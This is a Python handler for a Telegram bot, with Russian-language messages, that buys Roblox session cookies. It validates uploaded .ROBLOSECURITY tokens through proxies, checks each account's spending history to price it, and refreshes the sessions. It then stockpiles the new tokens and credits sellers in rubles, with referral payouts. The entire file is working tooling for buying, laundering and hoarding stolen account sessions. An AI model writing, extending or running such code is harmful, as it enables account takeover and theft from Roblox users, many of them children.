from __future__ import annotations import asyncio import random import aiohttp from aiogram import F, Router from aiogram.filters import StateFilter from aiogram.fsm.context import FSMContext from aiogram.types import Message from config import ADMIN_ID, COOKIE_FILES_DIR, FRESHER_BATCH_SIZE, ROBSEC_FILE from db.storage import load_config, load_proxies, load_stats, save_stats from db.users import get, register, save from keyboards.user import back_kb, main_menu_kb from models.pricing import CookieDonationInfo from runtime import get_bot, get_log_bot from services.admin import is_admin from services.pricing import price_cookie_batch from services.referrals import apply_referral_payout from services.roblox import ( check_cookie_with_retry, fresh_cookie_async, get_all_time_donate, get_year_donate, ) from utils.logging import log_admin, log_admin_document from utils.parsing import parse_cookies_text router = Router(name="upload") async def _blocked(message: Message) -> bool: profile = get(message.from_user.id) if profile is None: register(message.from_user.id, message.from_user.username) profile = get(message.from_user.id) if profile.is_banned: await message.answer(f"❌ Вы заблокированы. Причина: {profile.ban_reason or '—'}") return True cfg = load_config() if not cfg.bot_enabled and message.from_user.id != ADMIN_ID: await message.answer("🚫 Бот временно отключен.") return True if not cfg.shop_enabled and message.from_user.id != ADMIN_ID: await message.answer("🚫 Скупка cookie временно отключена.") return True return False @router.message(StateFilter(None), F.document) async def handle_document(message: Message): if is_admin(message.from_user.id): await message.answer("👑 Администраторы не могут продавать cookie. Используйте /admin.") return if await _blocked(message): return filename = message.document.file_name or "" if not filename.lower().endswith(".txt"): await message.answer("❌ Отправьте файл формата .txt.") return path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt" try: await message.bot.download(message.document, destination=path) text = path.read_text(encoding="utf-8", errors="ignore") finally: path.unlink(missing_ok=True) await process_cookies(message, text) @router.message(StateFilter(None), F.text & ~F.text.startswith("/")) async def handle_text(message: Message): if is_admin(message.from_user.id): await message.answer("👑 Администраторы не могут продавать cookie. Используйте /admin.") return if await _blocked(message): return text = message.text or "" if "_|WARNING:-DO-NOT-SHARE-THIS." not in text: await message.answer("👋 Используйте меню ниже или отправьте текст с cookie.", reply_markup=main_menu_kb()) return await process_cookies(message, text) async def process_cookies(message: Message, raw_text: str): cookies, duplicates = parse_cookies_text(raw_text) if not cookies: await message.answer("❌ В отправленных данных cookie не найдены.") return cfg = load_config() proxies = load_proxies() total = len(cookies) progress = await message.answer( f"⏳ Начинаю обработку cookie\nВсего: {total}\nДубликатов удалено: {duplicates}\nЭтап: проверка...", parse_mode="HTML", ) valid = [] async with aiohttp.ClientSession() as session: tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies] for index, task in enumerate(asyncio.as_completed(tasks), start=1): try: result = await task if result.status == "valid": valid.append(result) except Exception: pass if index % 20 == 0 or index == total: try: await progress.edit_text( f"⏳ Проверка cookie\nПрогресс: {index}/{total}\n✅ Валидных: {len(valid)}", parse_mode="HTML", ) except Exception: pass if not valid: await progress.edit_text(f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}") return await progress.edit_text(f"⏳ Проверяю донаты\nВалидных cookie: {len(valid)}", parse_mode="HTML") donations = [] async with aiohttp.ClientSession() as session: async def get_donation(result): proxy = random.choice(proxies) if proxies else None all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy) year = await get_year_donate(result.cookie, result.user_id, proxy) return CookieDonationInfo( cookie=result.cookie, user_id=result.user_id, username=result.username, all_time=all_time, year=year, ) donations = await asyncio.gather(*(get_donation(result) for result in valid)) priced, avg_used, avg_price = price_cookie_batch(donations, cfg) if not priced: await progress.edit_text( f"❌ Ни одна cookie не подошла под курсы. Валидных: {len(valid)}", reply_markup=back_kb(), ) return await progress.edit_text( f"⏳ Обновляю cookie\nК оплате: {len(priced)}\nМетод: {'AVG' if avg_used else 'поштучный'}", parse_mode="HTML", ) fresh_ok = [] fresh_failed = 0 for offset in range(0, len(priced), FRESHER_BATCH_SIZE): batch = priced[offset:offset + FRESHER_BATCH_SIZE] async def refresh(item): proxy = random.choice(proxies) if proxies else None ok, refreshed = await fresh_cookie_async(item.cookie, proxy) return item, ok, refreshed for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)): if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"): fresh_ok.append((item, refreshed)) else: fresh_failed += 1 try: await progress.edit_text( f"⏳ Обновление cookie\nПрогресс: {min(offset + len(batch), len(priced))}/{len(priced)}\n" f"✅ Обновлено: {len(fresh_ok)}\n❌ Ошибок: {fresh_failed}", parse_mode="HTML", ) except Exception: pass if not fresh_ok: await progress.edit_text( f"❌ Не удалось обновить ни одной cookie. Валидных: {len(valid)}, ошибок: {fresh_failed}", reply_markup=back_kb(), ) return ROBSEC_FILE.parent.mkdir(parents=True, exist_ok=True) with ROBSEC_FILE.open("a", encoding="utf-8") as output: output.writelines(f"{cookie}\n" for _, cookie in fresh_ok) user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt" user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8") payout = sum(item.price for item, _ in fresh_ok) profile = get(message.from_user.id) if profile is None: register(message.from_user.id, message.from_user.username) profile = get(message.from_user.id) profile.balance += payout profile.total_earned += payout profile.cookies_loaded += len(fresh_ok) save(profile.user_id, profile) stats = load_stats() stats.total_cookies += len(fresh_ok) stats.total_paid_direct += payout save_stats(stats) bot = get_bot() or message.bot await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent) method = "📊 AVG-система" if avg_used else "📋 Поштучный" report = ( "✅ Обработка завершена\n\n" f"Всего cookie: {total}\nДубликатов: {duplicates}\nВалидных: {len(valid)}\n" f"Подошло под курс: {len(priced)}\nОбновлено: {len(fresh_ok)}\nОшибок обновления: {fresh_failed}\n" f"Метод оплаты: {method}\n" ) if avg_used: report += f"AVG цена за cookie: {avg_price:.2f} ₽\n" report += f"\n💰 Начислено: {payout:.2f} ₽\n💳 Баланс: {profile.balance:.2f} ₽" await progress.edit_text(report, parse_mode="HTML", reply_markup=main_menu_kb()) await log_admin( bot, ADMIN_ID, f"🍪 Новая покупка cookie\n@{profile.username or '—'} ({profile.user_id})\n" f"Всего: {total}, валидных: {len(valid)}, обновлено: {len(fresh_ok)}\nВыплачено: {payout:.2f} ₽", get_log_bot(), ) await log_admin_document( bot, ADMIN_ID, str(user_file), caption=f"robsec от {profile.user_id}", log_bot=get_log_bot(), ) user_file.unlink(missing_ok=True)